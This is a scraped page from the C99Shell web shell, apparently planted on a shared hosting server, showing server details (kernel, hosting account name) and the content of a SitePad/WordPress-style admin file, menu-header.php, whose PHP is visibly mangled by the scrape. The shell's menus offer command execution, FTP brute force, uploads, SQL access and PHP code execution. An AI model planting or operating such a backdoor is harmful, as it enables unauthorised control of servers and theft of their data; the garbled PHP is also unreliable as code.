!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-admin/   drwxr-xr-x
Free 293.02 GB of 429.69 GB (68.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu-header.php (7.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Displays Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The current page.
 *
 * @global string $self
 */
$self preg_replace'|^.*/site-admin/network/|i'''$_SERVER['PHP_SELF'] );
$self preg_replace'|^.*/site-admin/|i'''$self );
$self preg_replace'|^.*/plugins/|i'''$self );
$self preg_replace'|^.*/mu-plugins/|i'''$self );

/**
 * For when admin-header is included from within a function.
 *
 * @global array  $menu
 * @global array  $submenu
 * @global string $parent_file
 * @global string $submenu_file
 */
global $menu$submenu$parent_file$submenu_file;

/**
 * Filters the parent file of an admin menu sub-menu item.
 *
 * Allows plugins to move sub-menu items around.
 *
 * @since MU (3.0.0)
 *
 * @param string $parent_file The parent file.
 */
$parent_file apply_filters'parent_file'$parent_file );

/**
 * Filters the file of an admin menu sub-menu item.
 *
 * @since 4.4.0
 *
 * @param string $submenu_file The submenu file.
 * @param string $parent_file  The submenu item's parent file.
 */
$submenu_file apply_filters'submenu_file'$submenu_file$parent_file );

get_admin_page_parent();

/**
 * Display menu.
 *
 * @access private
 * @since 2.7.0
 *
 * @global string $self
 * @global string $parent_file
 * @global string $submenu_file
 * @global string $plugin_page
 * @global string $typenow
 *
 * @param array $menu
 * @param array $submenu
 * @param bool  $submenu_as_parent
 */
function _wp_menu_output$menu$submenu$submenu_as_parent true ) {
    global 
$self$parent_file$submenu_file$plugin_page$typenow;

    
$first true;
    
// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes, 5 = hookname, 6 = icon_url
    
foreach ( $menu as $key => $item ) {
        
$admin_is_parent false;
        
$class           = array('site-nav-link');
        
$aria_attributes '';
        
$aria_hidden     '';
        
$is_separator    false;

        if ( 
$first ) {
            
$class[] = 'sp-first-item';
            
$first   false;
        }

        
$submenu_items = array();
        if ( ! empty( 
$submenu$item[2] ] ) ) {
            
$class[]       = 'sp-has-submenu';
            
$submenu_items $submenu$item[2] ];
        }

        if ( ( 
$parent_file && $item[2] == $parent_file ) || ( empty( $typenow ) && $self == $item[2] ) ) {
            if ( ! empty( 
$submenu_items ) ) {
                
$class[] = 'sp-has-current-submenu sp-menu-open';
            } else {
                
$class[]          = 'active';
                
$aria_attributes .= 'aria-current="page"';
            }
        } else {
            
$class[] = 'sp-not-current-submenu';
            if ( ! empty( 
$submenu_items ) ) {
                
$aria_attributes .= 'aria-haspopup="true"';
            }
        }

        if ( ! empty( 
$item[4] ) ) {
            
$class[] = esc_attr$item[4] );
            
$class[] = 'site-nav-link';
        }

        
$class     $class ' class="' join' '$class ) . '"' '';
        
$id        = ! empty( $item[5] ) ? ' id="' preg_replace'|[^a-zA-Z0-9_:.]|''-'$item[5] ) . '"' '';
        
$img       $img_style '';
        
$img_class ' dashicons-before';

        if ( 
false !== strpos$item[4], 'wp-menu-separator' ) ) {
            
$is_separator true;
        }

        
/*
         * If the string 'none' (previously 'div') is passed instead of a URL, don't output
         * the default menu image so an icon can be added to div.wp-menu-image as background
         * with CSS. Dashicons and base64-encoded data:image/svg_xml URIs are also handled
         * as special cases.
         */
        
if ( ! empty( $item[6] ) ) {
            
$img '<img src="' $item[6] . '" alt="" />';

            if ( 
'none' === $item[6] || 'div' === $item[6] ) {
                
$img '<br />';
            } elseif ( 
=== strpos$item[6], 'data:image/svg+xml;base64,' ) ) {
                
$img       '<br />';
                
$img_style ' style="background-image:url(\'' esc_attr$item[6] ) . '\')"';
                
$img_class ' svg';
            } elseif ( 
=== strpos$item[6], 'dashicons-' ) ) {
                
$img       '<br />';
                
$img_class ' dashicons-before ' sanitize_html_class$item[6] );
            }
        }
        
$arrow '';

        
$title wptexturize$item[0] );

        
// Hide separators from screen readers.
        
if ( $is_separator ) {
            continue;
            
$aria_hidden ' aria-hidden="true"';
        }

        echo 
"\n\t".'<li>';

        if ( 
$is_separator ) {
            
//echo '<div class="separator"></div>';
        
} elseif ( ! empty( $item[2] ) && current_user_can$item[1] ) ) {
            
$menu_hook get_plugin_page_hook$item[2], 'admin.php' );
            
$menu_file $item[2];
            if ( 
false !== ( $pos strpos$menu_file'?' ) ) ) {
                
$menu_file substr$menu_file0$pos );
            }
            
            if ( ! empty( 
$menu_hook ) || ( ( 'index.php' != $item[2] ) && file_existsWP_PLUGIN_DIR "/$menu_file) && ! file_existsABSPATH "/site-admin/$menu_file) ) ) {
                
$admin_is_parent true;            
                
$href admin_url('admin.php?page='.$item[2]);
            } else {
                
$href admin_url($item[2]);
            }
            
            if(!empty(
$submenu_items)){
                
$href 'javascript:void(0)';
            }
            
            echo 
"\n\t<a href='$href'$class $aria_attributes>$arrow<div class='sp-menu-image$img_class'$img_style>$img</div><span class='site-label'>{$item[0]}</span></a>";
        }

        if ( ! empty( 
$submenu_items ) ) {
            echo 
"\n\t".'<ul class="site-sub-nav">';

            
$first true;

            
// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes
            
foreach ( $submenu_items as $sub_key => $sub_item ) {
                if ( ! 
current_user_can$sub_item[1] ) ) {
                    continue;
                }

                
$class = array('site-nav-link');
                
$aria_attributes '';
                if ( 
$first ) {
                    
$class[] = 'sp-first-item';
                    
$first   false;
                }

                
$menu_file $item[2];

                if ( 
false !== ( $pos strpos$menu_file'?' ) ) ) {
                    
$menu_file substr$menu_file0$pos );
                }

                
// Handle current for post_type=post|page|foo pages, which won't match $self.
                
$self_type = ! empty( $typenow ) ? $self '?post_type=' $typenow 'nothing';

                if ( isset( 
$submenu_file ) ) {
                    if ( 
$submenu_file == $sub_item[2] ) {
                        
$class[]          = 'active';
                        
$aria_attributes .= ' aria-current="page"';
                    }
                    
// If plugin_page is set the parent must either match the current page or not physically exist.
                    // This allows plugin pages with the same hook to exist under different parents.
                
} elseif (
                    ( ! isset( 
$plugin_page ) && $self == $sub_item[2] ) ||
                    ( isset( 
$plugin_page ) && $plugin_page == $sub_item[2] && ( $item[2] == $self_type || $item[2] == $self || file_exists$menu_file ) === false ) )
                ) {
                    
$class[]          = 'active';
                    
$aria_attributes .= ' aria-current="page"';
                }

                if ( ! empty( 
$sub_item[4] ) ) {
                    
$class[] = esc_attr$sub_item[4] );
                }

                
$class $class ' class="'.join(' '$class).'"' '';

                
$menu_hook get_plugin_page_hook$sub_item[2], $item[2] );
                
$sub_file  $sub_item[2];
                if ( 
false !== ( $pos strpos$sub_file'?' ) ) ) {
                    
$sub_file substr$sub_file0$pos );
                }

                
$title wptexturize$sub_item[0] );

                if ( ! empty( 
$menu_hook ) || ( ( 'index.php' != $sub_item[2] ) && file_existsWP_PLUGIN_DIR "/$sub_file) && ! file_existsABSPATH "/site-admin/$sub_file) ) ) {
                    
// If admin.php is the current page or if the parent exists as a file in the plugins or admin dir
                    
if ( ( ! $admin_is_parent && file_existsWP_PLUGIN_DIR "/$menu_file) && ! is_dirWP_PLUGIN_DIR "/{$item[2]}) ) || file_exists$menu_file ) ) {
                        
$sub_item_url add_query_arg( array( 'page' => $sub_item[2] ), $item[2] );
                    } else {
                        
$sub_item_url add_query_arg( array( 'page' => $sub_item[2] ), 'admin.php' );
                    }

                    
$href esc_url$sub_item_url );
                } else {
                    
$href $sub_item[2];
                }
                
                echo 
"<li><a href='$href'$class$aria_attributes>$title</a></li>";
            }
            echo 
'</ul>';
        }
        echo 
'</li>';
    }
    
}

_wp_menu_output$menu$submenu );
/**
 * Fires after the admin menu has been output.
 *
 * @since 2.5.0
 */
do_action'adminmenu' );


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0044 ]--